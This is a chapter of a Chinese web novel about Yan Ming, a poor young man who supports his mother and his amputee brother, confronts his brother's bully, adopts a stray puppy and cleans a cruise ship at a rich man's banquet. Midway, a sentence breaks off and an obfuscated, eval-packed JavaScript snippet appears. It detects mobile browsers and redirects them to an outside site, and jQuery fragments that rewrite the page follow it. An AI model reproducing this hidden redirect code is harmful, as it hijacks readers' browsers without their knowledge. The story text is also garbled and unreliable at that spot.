“老大,七点发盒饭,你早点到能多抢一盒吃。”
“我能不知道?专心点,再输看我怎么骂你!”
晏明穿着松松垮垮的背心,盘腿坐在热炕头带李小羽连麦上分。他临时接了个活儿,晚上在游轮当清洁工。听说是一个林姓老头的寿宴,很多富商权贵参加。晏明对这些不感兴趣,谁来都不耽误他扫地。
晏箐禾盯着四四方方老式电视里吵闹的海绵宝宝,不紧不慢地织五色手套。晏箐禾手巧,桌上的扑克牌收纳盒就是她叠的。里面装了满满的瓜子、花生、奶糖,嘴巴闲了就吃上一颗。
林小羽太菜把晏明坑输了,晏明对他劈头盖脸一顿骂。一道视线落来,晏箐禾正看着他。晏明偃旗息鼓了,关掉游戏下炕。
他蹲在地上吭哧吭哧缠毛线,舌头发炎了,这段时间吃不好睡不好,整个人瘦了一圈。前一阵Nils带他做了美白项目,禁止他修护期乱跑,晏明可不干,外卖照常送,结果被晒得更黑,Nils警告他一周内白不回来就扣报酬。
这回晏明不得不老老实实家里蹲了,但他闲不住,刷墙、修洗衣机、刨地种菜,把小平房从里到外拾掇得焕然一新。
晏明虽穷,却不浑浑噩噩地过日子。在他看来,他有懂事的老妈,聪明的弟弟,遮风挡雨的住所,饿不着的工作,他可知足了。要说唯一的不完美,他还缺个对象。
缠完毛线团正好晌午,晏明穿戴整齐到学校接晏侨。
晏侨八岁时和父母外出发生车祸,父母没救回来,晏侨半条腿压没了。司机肇事逃逸,至今下落不明。腿断后的几年里晏侨没再读书,同龄孩子都去镇里念初中了,只有晏侨在家里搓苞米喂鸡。
那时候晏明刚到京市第一年,吃了上顿没下顿,和李小羽挤脏乱差的地下室。脑子一热就把晏侨接来了,他当时想晏侨必须读书,腿没了要是再没文化这辈子不就废了吗?
而后他骑自行车拉着晏侨一所所初中跑,求他们收下晏侨。一个十七岁愣头愣脑的少年载着一个十三岁的瘸子在学校门口囔囔着要见校长,怎么看都不靠谱,俩人被门卫轰走一次又一次。
晏侨自尊心强,哭着说不念书了要回家。可他拗不过晏明,在晏明锲而不舍下,有一所初中出于人道给晏侨办了入学手续。
自此晏明每天起得比鸡早睡得比狗晚,打工和接送晏侨哪样都不能拖。苦是苦了点,但晏明心大耐造,嘻嘻哈哈骂骂咧咧一天天混了过去。
初二那年晏侨整天闷闷不乐,很少吃喝。问他怎么了他也不说。打听同学才知道晏侨几乎不在学校上厕所,坐着轮椅不方便,有次不小心尿到裤子上,被其他人笑话了。
晏侨脸皮多薄,当时得多难受啊。晏明愁得一晚上没睡着,第二天就领晏侨买假肢去了。晏侨的第一副假肢八百块钱,粗糙劣质,好在可以走路。兄弟俩都很高兴,又过一段时间,晏明发现垃圾桶的纸巾上有血,强行扒开晏侨假肢,不合适的硅胶将皮肉磨得红肿不堪。
晏侨说没事,多垫点卫生纸就行。晏明不同意,驮着晏侨跑了好几家店,舒适性好点的假肢最低也要五千。晏明浑身一千都凑不出,最后低声下气死皮赖脸求着包工头提前预支了两个月工资。
要不说一分钱一分货,五千的假肢就是比八百的好。晏侨自从不磨腿后,走起路来步步生风,没人看得出他装着假肢。这副假肢被晏侨穿到现在。晏明去年提出换副更好的,晏侨拒绝了,他要给晏明省钱。
晏箐禾的药钱,家里的一切费用全是晏明在挣。晏侨提议全家勒紧裤腰带过日子,晏明则认为挣钱就是花的。况且他现在工资比以前高,当单王的月份能挣一万,不当单王也有六七千。扣掉每个月固定支出,还能剩点。他就用剩下的钱买水果蛋肉,给大家补充营养。
学校外晏明双手插兜叼着烟,学生三三两两地往外走,有说有笑青春洋溢。
晏侨在人群里一枝独秀,孤身一人冷冷淡淡。
晏明刚要迎上去,一个高个子男生跳出来勾住晏侨肩膀,脸上挂着恶劣的笑。
晏侨握紧拳头,脸色难看。
晏明三步上前揪住男生领口,大声质问:“你叫谁瘸子呢?你再叫声我听听!”
旁边人纷纷驻足围观。
男生见晏明白白瘦瘦,构不成威胁,耸肩反问:“他就是瘸子啊,真话还不让人说了?”
话音刚落,男生就被晏明撂倒在地。晏明压在他身上,手腕青筋暴起,烟雾直往他鼻腔里钻。
男生咳嗽不停,挣扎中拽掉晏明外套,露出肩头刺目的血色纹身。男生睁大眼睛,颤颤巍巍不再吭声。
晏明弹弹烟灰,舌钉在口腔里若隐若现。他歪着脑袋,凶神恶煞地盯着他:“知道我混哪的不?你打听打听这一片谁不知道我晏明。”
“晏侨是我弟,别再让我看到你欺负他,知道吗?”
男生连连点头,连滚带爬跑开。
晏侨始终在旁边看着,不拦也不劝。人群散去,他拍落晏明膝盖上的雪:“中午吃什么?”
晏明搂住他往香气四溢的麻辣烫店走:“因为这个破舌钉,你哥我馋这口好久了。”
“怕遭罪就不应该打。”
“你懂什么?这叫酷!”
虽说被迫打了舌钉纹身疼他好一阵,痊愈那天晏明好了伤疤忘了疼,拍了两张硬凹酷照发朋友圈。狐朋狗友纷纷点赞评论,夸他舌钉潮纹身帅,令晏明的虚荣心得到巨大满足。
二人打包三份麻辣烫往家走,春风拂面,地上积雪融化得四处流淌。
晏明心情不错,哼着跑调的曲子,步伐轻盈:“哎,赶明儿你高考结束,咱们全家去海边玩,我给你们捞海鲜吃。”
晏侨沉默半晌:“哥,如果我考不好怎么办?”
“考不好就考不好呗,别有心理压力。你本身基础弱能学成这样已经很不容易了,本科读不上就读专科,反正怎么着都比我一个出苦力的强。”
晏侨学习刻苦,初中时名列前茅,上高中后就跟得吃力了,埋头死学也只在班里排十几名。他压力越大越控制不住分心,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15152151|164868||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
投机取巧把自己攒的生活费全投股市了,开始行情好赚了些,最近股市回调,那点本金全搭了去。晏侨不敢说,模拟测试成绩还掉出两名。
“你不对劲儿,是不是有心事?有什么事和哥说,怕什么,天塌下来哥顶着呢。人只要活着,就没有过不去的坎。”
晏侨欲言又止:“没有。”
“汪!”
垃圾桶后露出毛茸茸脑袋,晏侨凑过去看:“哥,有只小狗。”
他脸上多日的愁云,在这一刻散去不少。
晏明背着手晃悠到跟前,还没有手臂长的小黄狗看到他们又“汪”了一声,奶里奶气,眼珠黑亮,倒是不怕人。
“哥,它应该没人养吧?”
晏侨蹲下,眼底露出不忍,探出的手停在半空又收回,算了。
“走吧,哥,面快坨了。”
“你想养啊?”晏明单手插兜,踢一脚它。
晏侨摇头:“不想。”
晏明切了一声,勾起唇角:“口是心非。”
他一把拎起小狗崽,小狗扑腾着四爪很乖不叫。
“真埋汰,还是个公的。”
“哥,快放下,你别祸害它。”
晏侨伸手去接,晏明顺势扔他怀里:“养着吧,还能帮家里解决剩饭剩菜。”
“哥,哎,”晏侨追上晏明,“咱家没有剩饭剩菜。”
晏明瞪他一眼:“你养不养吧?不养扔这儿。”
“养!我用零花钱养。”
“随你喽,人活着总不能饿死一个小畜生。”
*
港口前李小羽东张西望,服务人员都来得差不多了,就是不见晏明。
有人捧着两份盒饭朝他走来:“找谁呢?”
李小羽怔怔地打量眼前的黑发帅哥,震惊好半天出声:“老大!半个月不见你整容去了?怎么白了这么多!人也帅了好几倍。”
“我还是觉得以前帅,有男人味。”
他其实没有很白,距离沈少爷的肤色他还差一大截。只是之前晒得太黑,现在白回了正常色号,因此对比显著。
两个人坐在台阶上埋头干盒饭,不时有豪车停靠,从里面下来衣着华丽姿态优雅的男男女女。
晏明边吃边仇富,心里那叫一个不平衡。吃饱后二人换上清洁服从狭窄的后门钻进游轮内部。
晏明和李小羽被分到甲板工作,轮船开动,宴会厅里流光溢彩欢声笑语。他俩在甲板上被海风吹得瑟瑟发抖。
晏明偷偷摸摸点烟,吸一大口麻痹寒冷。
他搂紧李小羽骂道:“咱俩在这吹风受冻才给二百,里面那些人手指缝漏点都够我们花一年了,都是丧尽天良的傻缺!”
晏明的声音在安静的甲板上被无限放大,李小羽劝他小点声。
晏明笑他胆小鬼,这个时候除了他俩苦逼牛马,谁还在甲板上吹冷风啊。
话音刚落,李小羽缩头缩脑指着身后。
晏明扭头,与西装革履华光矜贵的霍远霄对上眼。